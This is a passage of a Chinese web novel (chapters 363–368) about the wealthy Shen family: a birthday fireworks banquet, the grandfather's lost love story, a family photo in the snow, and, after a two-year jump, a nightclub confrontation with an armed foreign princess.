张茹看着满满当当一桌菜,正要下筷,对面的郑松一脸凶相,仿若怒目金刚,抢在她之前夹起一颗鱼丸,正要起筷,鱼丸又滑了下去…… 郑松神情愈发严肃,死死盯着那颗鱼丸,上下十几个回合生生把鱼丸戳成了鱼条,眼看就要得手,谁知顾赫突然捷足先登,一筷子夹走了他的鱼条。 “……” 张茹生怕郑松掀桌,赶紧用公筷夹了一个鱼丸放进他的碗里。 郑松皱眉,许久之后恶狠狠吐出两个字,“谢谢。” “砰——” 这时,上空一声惊响,姹紫嫣红盛开在夜幕中,随即数不清的响动直破云霄,千树万树烟火点亮了半片星空。 众人纷纷看向夜空,仰头的瞬间,五彩流光一一在脸上流转。 * 这场生日烟火足足持续到了凌晨零点才结束,全鲸港的市民都被惊动了,这个时空的某个时段,万万人一起共赴了同一场人间的极光之宴。 苏宅。 苏敬琉被烟火声吸引,隔着书房的玻璃看着远方乍亮的天空。 “爸。”苏莘推门而入,递上手里的资料,“傅家这次逃不掉了。” 苏敬琉接过资料仔细看了一遍,确认无误后悬着的心总算落了地。 万幸最后逆风翻盘,最后一刻苏家还是赌赢了。 此时的烟火与苏敬琉的心境无比契合,他忽然想到什么,叮嘱道,“记得接妙妙回家。” 苏莘神色复杂,“妙妙和阿韵……” 苏莉死后,苏韵心结也算解开了人也变得开朗起来,前几天还主动向他提起想考军政学府。 相比起来,苏妙反而愈发沉默,即使大家主动示好她的反应也很平淡。 苏敬琉收回目光,“孩子的事急不得,其他的就交给时间吧。” * 与此同时,傅宅。 傅岭南仰着头,时亮时暗的流光映着满目悲凉的眸光,威风凛凛的傅家老爷子一夕间苍老了十岁不止。 “爸。”傅嘉盛推开玻璃门步入庭院。 傅岭南低头摸了摸眼角,“都准备好了?” 傅嘉盛胡子拉碴,全然不见昔日的意气风发,“爸,真的要这么做吗?就没有别的办法了吗?” 傅岭南摆摆手,步履蹒跚走进主厅。 主厅内清一色黑白素缟,傅岭南抱着傅嘉明的牌位泣不成声。 “阿明,别怪爸爸,爸爸也是迫不得已,爸爸答应你,绝不会放过所有伤害你的人。” * 烟花在夜幕褪色,宴席也在欢声笑语中落下帷幕。 众人重回沈园。 烟花太美,宴席后段就连女孩子们都喝了不少果酒,因着是家宴,沈庄也没拘着她们。 姜花衫的酒量一直都是成谜,开心的时候千杯不醉,不开心的时候一杯就倒。 张茹不知她的底细,只当她是醉了,入了沈园便张罗几个管事阿姨把人背回了菊园。 沈眠枝尚且清醒,由郑松护送回春园,傅绥尔喝的酩酊大醉,沈娇把人带回了冬园。 沈庄原本已经入了主院,忽然想到什么又让沈执请沈兰晞去沁园说话。 眼看人都散了,沈清予眯了眯眼,借着酒劲一把拽着沈归灵的衣襟拖进廊下。 “你什么时候跟大伯是一伙的了?” “清予少爷!”雷行脸色微变,快步跟上。 沈清予用一只胳膊将沈归灵抵在圆柱上,见雷行想要插手,撩着眼皮冷冷吐出两个字,“滚开。” 顾赫立马上前阻止雷行。 沈归灵上睑微挑,他被灌了不少酒,似有些醉态。 “沈清予,你要再这么闹下去,你的秘密可就人尽皆知了。” “……”沈清予眸光微窒,心跳到了嗓子眼。 …… 第364章 少年们和少年 两人的目光在暗涌中交汇。 沈清予撩着眼皮笑了笑,抬手松开了对沈归灵桎梏。 还真是半点都不能小看这个狗东西。 沈归灵拂了拂肩膀,单手推开沈清予,目不斜视从他眼前穿过。 沈清予看着夜幕中的背影,眼中情绪难辨。 “少爷,您没事吧。” 沈清予收回视线,懒懒斜睨了顾赫一眼,“我能有什么事?” 顾赫一言难尽,一晚上跟个刺猬似的到处找茬,这还叫没事? 沈清予脸色不善,转头向内院走去,没走几步,垂花门里突然窜出一道人影。 “清予!” 沈渊在内院等了许久,好不容易蹲到逆子,立马兴高采烈跳了出来。 相较于沈渊的热情,沈清予就显得冷淡许多,“大晚上的不睡觉,在这扮鬼想吓谁?” “……”沈渊咧开的嘴角顿时僵硬,忍着脾气,“你电话也不接,人也见不着,我不来见你,你还会记得自己有个老子吗?” 沈清予,“看见了,更不想认了。” “……”沈渊气的心肝痛,早知道吃颗护心丸再来见这逆子了。 沈清予提脚准备走,忽然想到什么,略有迟疑,“你是不是又打了什么鬼主意?” 本来是有,但被气了一顿沈渊已经不想说了,遂摆摆手,“算了算了!反正我们也不是一条心的,三房的事我以后也懒得跟你说了。” 沈清予眸光一顿,“三房?三房怎么呢?” 沈渊左右看了看,一脸深沉凑近,“我回去想了想,终于想明白了你为什么不同意让衫衫过继给三房。” “……”沈清予眉心跳了跳,目光晦涩,“你……你知道了?” 沈渊盯着他,慈父模样拍了拍沈清予的肩膀,“知子莫若父,你的心思我还能不明白?你是……” 沈清予轻轻摩挲指尖,眼神透着杀人灭口的疯感。 “你是担心衫衫这么受宠入了三房会对我们二房不利!我说的对不对?” “……”沈清予被气笑了,缓缓道,“对。” “我果然没有看错你。”沈渊点点头,十分欣慰叹了一口气,“你放心,沈娇的如意算盘要落空了。” 沈清予抬眸,终于给了沈渊一个正眼,“出什么事了?” 沈渊,“刚刚收到消息,傅嘉明畏罪自杀了,为了保全傅嘉明的血脉,傅家现在要求沈家归还绥尔,所以别说改姓了,现在绥尔的抚养权归谁都是未知之数了。” 傅嘉明死了? 沈清予很快意识到事情不简单,“那衫衫呢?” 沈渊,“绥尔的事就够沈娇头疼了,只怕眼下她也没精力处理过继的事了,若是她这个时候认了衫衫,难保不会被傅家抓住把柄,只怕连绥尔的抚养权都会保不住。” 沈清予不置可否,转身准备走。 “等等!我话还没说完!”沈渊一把拽住沈清予,“我来就是想跟你商量一下,要不趁这个机会咱们把衫衫抢过来?沈娇过继不了但我可以啊,我给你认个妹妹怎样?” 沈清予脚步一顿,撩着眼皮打量沈渊,“沈渊,你最好老实点,只要你不兴风作浪说不定老了还能有个儿子送终。” “啊……这?”沈渊不明就理,沉下脸,“什么兴风作浪,我是你爸,我……” 回应他的,是比冬天池水还冰冷的背影。 * 沁园茶室。 灯火橘黄,禅香清明。 沈庄将一只紫檀木箱子递给沈兰晞,“打开看看。” 沈兰晞双手接过木箱,揭开银扣,小木盒里是一把制作精良的半自动手枪。 他目光一愣,沉默片刻抬眸看向沈庄,“这是……您的金枪?” 沈庄点头,“爷爷已经上交了资料,现在就正式转赠给你。” 沈兰晞低头,指尖细细摩挲枪身。 沈庄,“爷爷知道,你一直很期待完成你父亲的荣耀,那把金枪编号给了衫衫你就没有了,不后悔?” 沈兰晞摇头,主动迎上沈庄的目光,“不后悔。” 一个骨子里淡然凉薄的人能说出这三个字已然是克服了许久,沈庄心头一暖,低头抹了抹眼角,“好。不后悔就好。这是爷爷给你的奖励,兰晞,你这次做的很好。” 沈兰晞扣上木盒,眼里透着橘光的暖意,“谢谢爷爷。” 高止守在沁园外,见沈兰晞出来立马迎了上去,“少爷,怎么样?你是不是被老爷子发现了?他没责罚你吧?” 沈兰晞捧着木盒,眼梢都没抬,直接越过高止。 穿过内院回廊,途径菊园时沈兰晞到底还是没忍住,撩着眼皮看了一眼,绣楼玻璃窗还亮着灯。 高止跟着看去,“姜小姐这会儿肯定在拆礼物。” 沈兰晞目光微转,不知想到什么突然加快脚步。 入了兰园,径直走向书房,找了一圈没找着想找的,这才屈尊降贵看向高止,“往年我收的那些礼物了?” “礼物?”高止眼神闪烁,“什么……什么礼物?” 沈兰晞每年收到的生辰礼堆积如山,他向来不在意这些人情往来,一直都是高止在处理。 这对高止来说可是件肥事,每年光倒卖沈兰晞的礼物就赚的盆满钵满。 不是,少爷不是从来都不管这些琐事吗?都卖了三年了,怎么现在才来算账? 钱都花完了。 沈兰晞脸色不善,“外人也就算了,自家人的礼物你也卖了?” 高止警铃大作,自家人?哪来的自家人?菜鸡少爷不是一向把自己当孤家寡人吗? 眼看沈兰晞脸色愈发不好,高止突然灵光一闪,“在仓库!” 想起来了,因为姜小姐的礼物实在太廉价卖不了好价钱被他丢进仓库了。 沈兰晞面色缓和了不少,“都拿过来。” “是。”高止抹了抹额头的冷汗,得亏他脑子转的快。 没一会儿,高止提着三个包装精美的礼盒走了进来。 礼盒上锦缎已经褪色,上面的灰还是高止刚刚掸掉的。 沈兰晞接过礼盒上下打量,“就这些?” 高止从口袋里掏出发黄的护身符,“您回来后一共就过了三个生日,这里不多不少就三份礼。” 别想碰瓷。 沈兰晞不语,略有期待打开一个稍大的盒子,锦盒掀开,映入眼帘的是一只普通的不能再普通的蒲团。 蒲团是稻草编制,因长年不见光已经有了霉斑。 “……” 高止小心翼翼观察沈兰晞的眼神,但沈兰晞只是微愣了一下,又满怀期待打开了略小的锦盒。 第二个盒子的礼物是一套木鱼。 “……” 沈兰晞看着蒲团又看了看木鱼,直到第三个礼盒拆出《心经》、《金刚经》、《无量寿经》,他才无奈笑了笑。 他去的是清虚观,不是天竺寺,清虚观修身锻炼心志,并非是要出家。 “把蒲团清理一下。”沈兰晞又拿起桌上的护身符。 这个护身符是他初回沈园时姜花衫送的归家礼,如果没记错,她说是她亲手画的。 沈兰晞心头微漾,轻轻擦拭符纸上的细尘。 这么看来,她一开始还是很有心的,大约是后来他太不近人情才惹她不喜。 自己画的符? 画的什么? 沈兰晞不觉有些好奇,拆开符角。 发黄的符纸上赫然写着三个大字:退退退! “……” * 彼时的竹园。 白色的窗纱轻轻飘荡,床头的手机发出嗡嗡的震动声。 一只修长的大手随意点开屏幕,额前湿漉漉的水珠滴落在屏幕上,晕开了极其刺目的两个字。 野种。 【别忘了你之前的约定,小野种。】 沈归灵漫不经心擦着湿发。 姚歌终于按捺不住了。 当初他费劲心思让沈谦相信自己才得以入沈园,可他的身份始终是个隐患,于是他向姚歌承诺,只要他入沈园赢得老爷子的喜欢就一定会想办法助沈年回国。 姚歌心思歹毒,但沈年就是她的软肋,再加上若是曝光了他的身份,姚歌杀害真正的沈归灵一事也会被牵扯出来,几番权衡,姚歌才默许了他继续以沈归灵的身份生活。 沈归灵神情冷漠,指尖一滑删除了信息。 这个女人已经老了,连思维都蠢的不像话,她竟然真的以为他会在意沈家私生子的身份,没有了舒沐,这个世界上谁还会在意沈归灵?不被在意的身份,有什么值得留恋的? 他忽然想到什么,起身推开阳台的玻璃门,斜对面的绣楼正好熄灯。 夜幕之下,星辰黯淡,月光皎洁。 * 翌日,鲸港迎来了入冬的第一场雪。 “张妈?下雪了?” 姜花衫兴冲冲从绣楼下来,却发现沈执和郑松都在院子坐着,两人见了她,立马起身问好。姜花衫这才反应过来,转头看向主厅。 沈庄站在门外,笑着朝她招手,“小花儿。” 姜花衫小跑上前,“爷爷,您怎么来了?” 主厅有暖气,为了让冬天有氛围,张茹还特意让人加了个英式壁炉。 沈庄,“爷爷有话跟你说。” 姜花衫点了点头,跟着沈庄走进主厅。 “爷爷,什么话还要劳烦您特意跑一趟?” 沈庄沉默了片刻,正犹豫要怎么起头,姜花衫语调轻松,“是不是过继的事出问题了?” 其实昨天生日宴上她早就看出了端倪,如果顺利,沈娇一定会在宴上跟她分享的。 “傅嘉明出事了。” 沈庄简单陈述了事情经过。 姜花衫愣了愣,眼里满是错愕。 怎么会这样? 上一世她离开之前傅嘉明都活的好好的,难道是因为她篡改了节点,所以改变了其他人物的结局? 念此,她的情绪不免有些复杂,“绥尔呢?她没事吧?” 不管傅家与沈家的恩怨如何,傅嘉明到底还是傅绥尔的生父,这件事对绥尔的伤害不小。 沈庄,“傅家让人传话,希望葬礼那天绥尔能出席为傅嘉明扶灵送葬,绥尔已经同意了。” 姜花衫点头,以绥尔的性格,不管怎么样一定会去见傅嘉明最后一面。 沈庄见姜花衫一门心思只记挂傅绥尔,心中满是感慨,“小花儿,你过继的事……” “我明白。”姜花衫笑了笑,“没关系的,我能理解。” 沈庄见她心思豁达,全然没有一点介怀,幽幽叹息了一声,“你啊,真是跟你奶奶一模一样。” 姜花衫略有几分意外,这已经是爷爷第二次在她面前毫不避讳谈起奶奶了。 沈庄见她一脸惊讶,淡淡笑了笑,“你想知道爷爷和你奶奶的故事吗?” “想。” 她实在很想知道,到底是什么样的感情能让爷爷对她这个毫无血亲的外人推心置腹。 上一世,爷爷对他和奶奶的过往闭口不谈,那个时候她就隐隐猜到爷爷和奶奶一定有很牵绊的过去,她甚至还怀疑自己是不是就是爷爷的亲孙女,直到爷爷同意她和沈兰晞的婚事才知道是自己想多了。 “说起你奶奶呀……” 沈庄眼底亮了亮,他已经老了,很久不曾想起年少了,可是每每只要一想起姜昕,那段淮城青梅的岁月就鲜活了起来。 他是沈氏家族最小最受宠的嫡子,父辈为相几个大他一轮的哥哥为将共同撑起了沈庄这一脉的顶级繁荣。他自小便没什么大志向,喜欢结交朋友,喜欢游山玩水,曾一掷千金买下十座红楼戏台,也曾独自坐在巷尾人家与老黄狗一起听雨。 那年,他坐的巷尾人家正好就是姜昕家。 她手执竹节伞,一身青衣长衫,推门见他和大黄狗被雨水淋的狼狈,笑着让他们进屋躲雨。 不光邀请了他,还邀请了那只大黄狗。 四月的淮城下了整整一个月的雨,他和大黄狗成了巷尾人家的常客,只要下雨他们一人一狗必定出现在屋檐下,然后默契十足等着主人家邀请他们进屋避雨。 运气好的时候,他们会分到一碗主人家亲手做的淮城糖水,陈年桂花的香气弥漫了往后余生整个雨季。 后来,他打听到巷尾人家的主人叫姜昕,她是淮城戏班有名的大青衣,因着一位纨绔阔少人傻钱多包了十座红楼,戏班子生意场场爆满,她的师傅便让她趁机多休息。 他得知缘由,又掷千金,点了一个月的武松打虎。 …… 第365章 青梅旧雨,六年之约 之后的故事就像所有爱情戏本子的开端一样美好,他们在桂花树下定情,在大黄狗的见证下约定厮守一生。 沈庄给族中写去家书,告知求娶姜昕的决心,可等来的却是父兄战死,家族将倾的噩耗。 嫡支摇摇欲坠,旁支虎视眈眈,平时良善的世伯族老突然像换了一个人,淮城涌现大批杀手,最后还是姜昕舍命把送他出了淮城。 离别那夜,沈庄许下六年之约,约定六年之内一定回来娶她。 这六年,沈庄枕戈待旦,从一个无忧无虑的纨绔少年变成了阴险诡谲的权谋者,步步算计最终架空了旁支掌控了宗族。 原本他以为只要自己走的够高就可以随心所欲,可现实却比以为的残酷百倍。 族中内斗不过敲门砖,各大家族的厮杀才是真正的角斗场,偌大的沈氏只有沈庄一人根本撑不起一个家族的荣耀。 族中亲族跪求他与海外贵族西氏联姻,西氏掌握着海外一半能源基地,富可敌国,西晴是长房独女对他青睐有加,这场婚姻可利沈氏百年之好。 第六年,他毁诺选择了家族。 那时,沈庄已经是冷酷的权谋者,他娶西晴只为利益所以他从未踏足过西院,他自觉这样便不算背叛了姜昕。 但让他万万没想到的是,第七年,姜昕嫁给了同戏班里的师兄。 得知消息,沈庄彻底疯了,不顾一切赶去淮城,可是姜昕却不愿意见他。 那时,他已经有了通天之能,别说两扇老木门就是淮城的州长的大门也拦不住他,可是姜昕一句不见,他就站在墙外等了一夜。 还是阴雨绵绵的四月,已经没有了大黄狗,主人家也不再开门。 此后每年四月,他都会去小巷口见姜昕,一去就是四年。 第五年,姜昕终于愿意见他,但不是她一个,她腹中微隆,已显孕态。 她请他入院,亲手给他做了一碗桂花糖水,然后告诉他,他们的缘分已经断了。 此后,沈庄再也没有去过淮城,那个曾经一掷千金买红楼戏曲的少年终是变成了俗世追名逐利的权谋者,他在鲸港予夺生杀,她在小城慢慢老去。 原以为此生都不会再有交集,失去沈玺的第二年,他突然收到消息,姜昕死了。 旧时少年那些记忆突然翻滚,他忽然想去看看淮城,看看故人最后一眼。 淮城的变化很大,可桥后尾巷的小屋却还是记忆里的模样。 这次不会再有人邀请他,他只能主动推门而入。 桂花树、秋千架、月季藤,他们老了,这些物件也老了,但还是有些许不同,墙上有各种各样幼稚的涂鸦,院里还有挂着几件小孩儿的衣服。 沈庄如当年一般坐在廊架下看着桂花,屋外走进一位老人,说是姜昕有信留给故人。 他接过信,问及姜昕亲故,老人告诉他,姜昕只有一个孙女,叫姜花衫。 他顿然无措,不解看着院中的桂花树。 为什么姓姜?为什么会叫姜花衫? 十九岁那年,他们在桂花树下定情,姜昕说她自小就是孤儿,除了师父不知道什么是家人,所以她一直渴望拥有一个永远不会离开她的家人。 他信誓旦旦告诉她他就是,不光是他,以后他们还会有自己的孩子,会有很多家人。 她笑着说相信,又很认真想了想,“如果连你都不能相信了,我就要一个属于我的孩子,姓姜,最好是女孩儿,就叫……姜花衫,不做青衣、不做花旦,不会困在任何一场戏文里。” 忆及从前,他忽然一下顿悟,颤颤巍巍打开信笺。 姜昕的信中写道: -【我与村长说,将这封信交给第一个来看望我的人,我不知道是不是你,但我猜一定是你。 我这一生,等过你,也爱过自己,忆起余生也没有什么好遗憾的了。如今唯一愧疚和放心不下的就是我的小花儿。 因为我的一念执着才有了阿钰,阿钰早殇只留下了小花儿,阿钰解我孤寡之苦,代价却是他的孩子在无人问津中慢慢枯萎,我心难安。 若果真是你,青梅旧雨,六年之约可否重新续上? 善待我的小花儿,便全了当年桂花树下一碗糖水之情。 初棠,红楼已经不掌灯了,如今这个年代人们也不爱看戏了,但有些人困在戏文里一辈子都没有出来,我便是如此。所以,我不希望淮城的一场雨也困住了你。】 初棠是他的小字,只有身边最亲近的都才知道。 他已垂暮,但那日却哭成了小孩儿。 老人告诉他,姜昕独自带着孩子长大,他的孩子也是参加南湾战役牺牲的,与沈玺是同一场战役。 沈庄走后的六年,姜昕一个人承担了所有的流言蜚语,她支撑了六年直到等来他的婚讯才彻底死心。 她并非不想跟他相守,可戏文里都说了聘为妻奔为妾,她唱了一辈子的青衣,骨子里的傲气谁都不能折。 但为了她的小花儿终是对他低下了头。 * 姜花衫眼眶微红,“原来是这样?” 难怪不管是这一世还是上一世爷爷都倾尽所能地对她好。 因为在爷爷心中,他十九岁之后的婚姻、仕途以及人生的所有选择都给家族,唯一在对她好这件事上是忠于自己。 沈庄声音嘶哑,淡笑着摸了摸她的头,“你奶奶一生执念便是有个自己的亲人,当初爷爷没有马上让你入族谱就是怕辜负了你奶奶。”他顿了顿,眼神黯然,“知道爷爷年轻的故事有没有对爷爷很失望?” 姜花衫摇头,“没有。我相信奶奶也没有,别的我不知道,但有一点我还是明白的,如果我马上就要死了,临终托孤一定会选择我最信任的人。” 沈庄笑了笑,“今天来就是想与你商议,你奶奶不希望你被困在任何一方天地,就算是沈家也不行。所以等你再大一点,看过足够多的风景,若你还愿意回来做爷爷的孙女,爷爷一定给你办场风风光光的入族宴。” “好。”姜花衫笑着应下。 其实她心中早就有了答案,应下只是为了让爷爷相信,她的确深思熟虑过。 “叩叩——” 这时,门外响起沈执的声音。 “老爷子,人都到齐了。” 沈庄轻舒了一口气,站起身,“走吧。” 姜花衫不明所以跟着起身,主厅大门缓缓推开,院外廊架下,男生们穿着黑色西装白衬衫,女孩们披着羊绒大衣,目光一致看了过来。 沈庄笑着招孩子们招手,“趁着今天雪景好,咱们拍套全家福。” 沈清予双手插兜,满脸的不情不愿,“谁下雪天拍照的?”虽然这么说,但身体已经不听指挥走出了廊架。 沈亦杰兴冲冲拽着沈亦泽,“我要站爷爷身边。” 沈眠枝拉着傅绥尔的手跑进人群。 沈归灵眼含微笑跟上脚步,沈兰晞不冷不热走在最后。 六角雪花轻盈落下,给十六岁最后一个冬天落下了完美的句号。 …… 第366章 两年后 【叮——】 【根据您的剧目表现,现已为您生成最新标签:超级英雄】 【当前人物姜花衫,性格标签:癫、懒、通透、貌美、超级英雄】 【叮——】 【剧目世界将为您开启最新篇章,请保持主线完整,勿崩剧情。】 两年后。 昏暗热辣的舞池里,年轻男女们随着节奏鼓点尽情摇摆身体,扑朔迷离的光影追逐着每一位相拥亲吻的恋人。 “现在距离凌晨零点还有三十分钟,各位拥吻的情侣们坚持住,闯过这一关!百万酒水等你拿!!!喔!!!” 冰块下沉,酒精气泡急速上升,随着现场气氛越来越嗨,主持人的声音被一阵阵尖叫欢呼声淹没。 但见一位身穿黑色羊绒外套的女生突然走进人潮。 女生穿着黑色丝袜黑皮鞋,齐刘海下一双鹿眼纯情又勾人。 酒吧里都是荷尔蒙高度兴奋的猎奇者,台上的真人秀早就引得台下有心之人蠢蠢欲动,忽然看见一条肥鱼,胆子大的立马上前搭讪。 人还没走近,女生身边立起一堵人墙,一群凶神恶煞的黑衣保镖将拥挤的人潮隔出了一条观光大道。 女生目不斜视,直接往二楼走去。 “这谁啊?架子这么大?” “嘘!你不要命了,声音小点,没看见往二楼去了吗?” 能去上面玩的,都不是普通人家的少爷小姐。 总统套房VIP室里。 苏妙啄了一口冰美式,“对3!” 她还剩一对王炸,这局稳了。 傅绥尔睨了苏妙一眼,大笑,“对4。出完了。” 姜花衫扶额,“你是不是傻!王炸不会炸?先出一对3是什么套路?!” 苏妙看着手里陪跑的大小王强行狡辩,“谁知道她这么凑巧就剩一对?” 凑不凑巧也不是这么出牌的。 傅绥尔有无与伦比的幸运加持,她有苏妙这个猪队友埋坑,一晚上打个斗地主两人合起来输了十万。 姜花衫把牌一丢,兴趣缺缺,“枝枝怎么还没有来?” “暗堂那边好像出了点事,枝枝说晚点到。”傅绥尔点开收款码,开始收账。 苏妙立马起身,“我先去上个厕所。”说完,脚底抹油冲出了房间。 傅绥尔还没反应过来,姜花衫已经扫码,连同苏妙得一并付了过去。 对此,傅绥尔早就见怪不怪,悄咪咪凑上前,“我刚刚看苏妙偷偷打包了下酒的鹅肝和火腿。” 姜花衫,“……” 自从不用养男团,姜花衫手上的资金充足了起来,再加上成年后,沈娇加大了财政扶持,她和傅绥尔根本不用为钱的事发愁,说句气死人的话,钱现在对她来说完全就是数字。 但苏妙就不同了。 司法这条路艰辛且容易树敌,对于她的选择苏家并不是很赞同,所以在确定专业后,苏妙完全拒绝了苏家的资助,甚至已经提前申请了大学公寓补助。 苏妙与过去的生活做了分割,但她并没有因为分裂的阶级远离姜花衫,她不接受任何人的怜悯和施舍,唯独在姜花衫面前她从不会遮掩,甚至还会主动哭穷求姜花衫包养。 对于她这么鬼畜割裂的性格,姜花衫也是没脾气。 两人说话间,沈眠枝推门而入。 “不好意思,我来晚了。” 一进房间,少女眼底的冷漠骤然驱散,随意解开大衣,露出里面的黑丝长裙。 时光喜人,曾经略显稚嫩的少女已经有了玫瑰的雏形。 沈眠枝从背包里拿出笔记本,看了看时间。 “还有二十分钟,我们先玩点别的娱乐一下气氛?” 姜花衫指了指散摊的扑克牌,“别玩运气的,娱乐不了一点。” 闻言,沈眠枝没忍住笑了起来。 说来也奇妙,傅绥尔自从捡回一条命,运气就好的不得了,简直是锦鲤附体。 去年她瞒着家里人偷偷参加了鲸港文青小姐大赛,最后一轮演讲要求参赛者从支持方队中抽选一位助力观众共同完成演讲。 由于鲸港文青小姐赛事背后的资本是各大家族,参赛的大多都是贵族和资本家的千金,为了公平起见,内部一开始就杜绝了暗箱操作。 观众素质参差不齐,连到谁完全靠运气,万一对方抛出犀利难解的问题,场面失控也是命。 偏偏傅绥尔运气好,几万人的现场竟然让她连到了姜花衫,姜花衫出现在大屏幕的瞬间整个会场都沸腾了,就连其她十九位参赛者都纷纷质疑作假。 两人一问一答,默契十足,再次深入剖析了傅绥尔的《致无能的总统先生》,一波超级英雄回忆杀引起了无数人的共鸣。 就这样,傅绥尔打败了当时呼声最高的余笙,赢得了鲸港文青小姐桂冠。 她捧着奖杯回家炫耀的时候沈娇还以为自己是在做梦。 “暗堂的事处理好了?” 傅绥尔将提前准备好的温开水递给沈眠枝。 沈眠枝点头,往门外看了看,“妙妙了?她去哪了?怎么还没回来?” 正说着,一位经理模样的男人神色匆匆走了进来。 “沈小姐,您朋友好像遇上麻烦了!” …… 第367章 白蒂娜 遇上麻烦了? 在鲸港还有人敢找苏妙的麻烦? 姜花衫一时有些好奇,正要起身,傅绥尔一把拉住她,“你先坐会儿,我和枝枝出去看看。” 沈眠枝二话不说穿上外套。 这里是沈家地盘,都是金字塔尖的千金小姐,傅绥尔和沈眠枝一起出面应该没什么摆平不了的。念此,姜花衫伸了伸懒腰,又坐了回去。 沈眠枝看了经理一眼,“在哪?” 经理立马拉开门往前领路。 二楼的娱乐间都是包房,大厅设立了一个弧形吧台供客人短暂休息,此时吧台区间站满了年轻的男男女女,他们各自为营聚拢一团,唯独苏妙形单影只。 “妙妙!”傅绥尔推开人群,目光在众人之间游离,毫不避讳挡在苏妙面前。 苏妙摇了摇头示意自己没事。 沈眠枝往人群里看了一眼,“怎么回事?” 经理压低声音,“顾小姐的祖传胸针不见了,恰巧当时赫拉小姐就在旁边,顾小姐询问了两句,赫拉小姐自觉受到了侮辱与顾小姐争执了起来。” 赫拉是S国贵族交换生,顾小姐是新贵顾家五小姐顾玉珠,是沈清予的表妹。 沈眠枝,“这跟妙妙有什么关系?” 经理脸色为难,“发难的是中间那位小姐,她是赫拉小姐的朋友,突然说自己的祖传佛牌不见了,还命人把在吧台周围的人都围了起来,说是要搜身。” 搜身? 沈眠枝顺着经理的目光看了过去,那少女被众星拱月围簇在中间,公主切,容貌精致绝伦。 “我们走。” 傅绥尔拉着苏妙,刚转身就被几个身形壮硕的保镖拦了下来。 “什么意思?非要找不痛快?”傅绥尔冷笑了一声,回头看向中间的女生。 女生上下打量傅绥尔,态度傲慢看了看指尖,用十分标准的港语回道,“佛牌是我祖母给我的家传宝贝,对我意义非凡,我必须要找到。你们搜了身证明没拿就可以走了。” “搜身?真把自己当回事了?” 顾玉珠一行人脸色阴沉,今天要是被人搜了身传出去名声可就没了,这口气无论如何都不可能咽下。女生们也不是善茬,纷纷拿起手机给家里打电话。 女生见状也只是笑了笑,勾了勾指尖,“愣着做什么?还不动手。” 这句话说的是S语。 保镖们立马上前拦截,不顾男女大防直接抢手机。 “啊!!你们干什么?!!” 这些千金大小姐出去都是被捧人在手心,哪见过这等阵仗,吓得大惊失色。反观以公主切为首女生团各个笑的花枝乱颤,甚至还故意用港语讥讽。 “他们说的没错,A国的女生就是会叫,哈哈哈哈!” 傅绥尔拉着苏妙的胳膊,眼看一群壮汉就要围了上来,过道突然出现一群西装保镖,沈眠枝穿过人群与女生对望,“公主殿下,请适可而止,这里不是白王宫。” “哦?”白蒂娜一脸兴味打量沈眠枝,“你认识我?” 因为沈眠枝的强势干预,顾玉珠一众人暂时躲过了一劫。听闻对面的女疯子竟然是S国杀人不眨眼的皇室公主顿然不寒而栗。 当年白蒂娜14岁便枪杀了母亲十二位情人,事情一经暴露立马引起了全球震惊,顾玉珠只是刁蛮,比起白蒂娜骨子里的暴虐根本不够看。 沈眠枝神色如常,“军政学府的交换生资格是有德行考核的,殿下若不考虑后果,只怕还没开学就要被遣送回国了。” 白蒂娜笑了笑,眯眼打量沈眠枝,“你叫什么名字?” “沈眠枝。” “沈?沈家的?”她低头权衡了片刻,笑了笑,“好吧,你可以走了。” 来之前祖母和母亲特意叮嘱过,让她收敛性子别与A国几个世族交恶,她好不容易出来放放风,暂时还不想回去。 顾玉珠等人跟着松了一口气,正准备回避,白蒂娜点着她们,语气甚是傲慢,“我说的是沈家的,你们都姓沈吗?” 众人脸色微僵,大考刚过她们都是瞒着家里人出来的,眼下没有保镖又没有手机,要真被逼着搜身还不如一头撞死。 顾玉珠转头看向沈眠枝,鲸港贵女都有自己的交际圈,顾家因着沈清予母亲的原因与沈家并不亲近。 但眼下不是考虑这个的时候。 她正欲求助,沈眠枝率先开口,“殿下,我们A国有句老话,叫捉贼捉赃,你无凭无据单靠一句话就想搜身,在A国可行不通。” 白蒂娜眼里的笑意淡了几分,“那我的东西就这么算了?那可是我祖母送我的。” 顾玉珠看不惯白蒂娜颐指气使的模样,冷着脸,“报警吧。让警察来处理。” 等警察来了,怎么处理那还不是她们一句话的事。 白蒂娜也不好糊弄,幽幽道:“既然谈不拢,那就都别走了。”说罢,转手从包里掏出一把精致的银色手枪对准沈眠枝。 傅绥尔脸色微变,“你想干什么?” 苏妙也被白蒂娜疯魔的举动激怒了,她一直隐忍是不想麻烦苏家,但这并不代表她畏惧这个神金。 其余众人也纷纷吓白了脸。 白蒂娜有恶名在外,再加上S国皇室自小学习射击,举枪这个动作可谓恶意十足。 “我给过你机会的。”她笑着上膛,眼里隐隐带着嗜血,“别动,你们要是敢动,我可不保证不会手滑。” 说着她偏头看向身后的保镖,“愣着做什么?搜!” 最后一句,又是自己的母语。 保镖们听命上前,正欲发难。 突然! 眼前的灯光骤灭,陷入了无尽的黑暗中。 人群里有人惊呼了一声,人影到处窜动。 白蒂娜意识到危险,用母语大声呼救,刚张口嘴里被强行塞进了一团臭烘烘的软布,没等她反应过来迎头脸上就挨了一拳。 “嗯嗯嗯!” 她极力想扯下身上的束缚,可是随着数不清的拳脚落下她只有惨叫嚎哭的份。 一时间,黑幕里响起此起彼伏的惨叫声,中间断断续续掺杂着S国的咒骂声。 “报警!快报警!S国转校生杀人了!” 人群里不知谁大喊了一声,哀嚎声停了一秒随即爆炸! “救命啊!杀人了!杀人了!” 与此同时,进入凌晨零分三秒倒计时。 “三!” “二!” “一!” 一楼酒吧突然爆发出胜利的狂欢,尖叫声几乎掀翻全场,完全吞没了二楼的哀嚎。 …… 第368章 都是沈家人 “哈哈哈哈哈!” 傅绥尔拉着姜花衫的手从酒吧后门出来时,笑得腰都直不起来了。 苏妙吁吁喘着气,“你还笑,这下麻烦大了。” 话音刚落,警笛轰鸣由远及近,半条街道围满了蓝红车灯。 苏妙和傅绥尔对视了一眼,两人没绷住又捧腹大笑了起来。 沈眠枝笑着看向姜花衫,“四伯这下只怕头都大了。” 潮ClUb是沈澈旗下的产业,出了这么大的事,白家一定不会善罢甘休此,沈澈这纯属是人在家中坐,锅从天上来。 姜花衫看了看时间,“时间到了,换个地方?” 沈眠枝转了转车钥匙,“上车。” * 由于潮ClUb突发恶性斗殴事件,以酒吧为径,附近半条街都被封锁,车辆禁止出入。 沈眠枝只报了个名字,戒严的闸道立马放行。 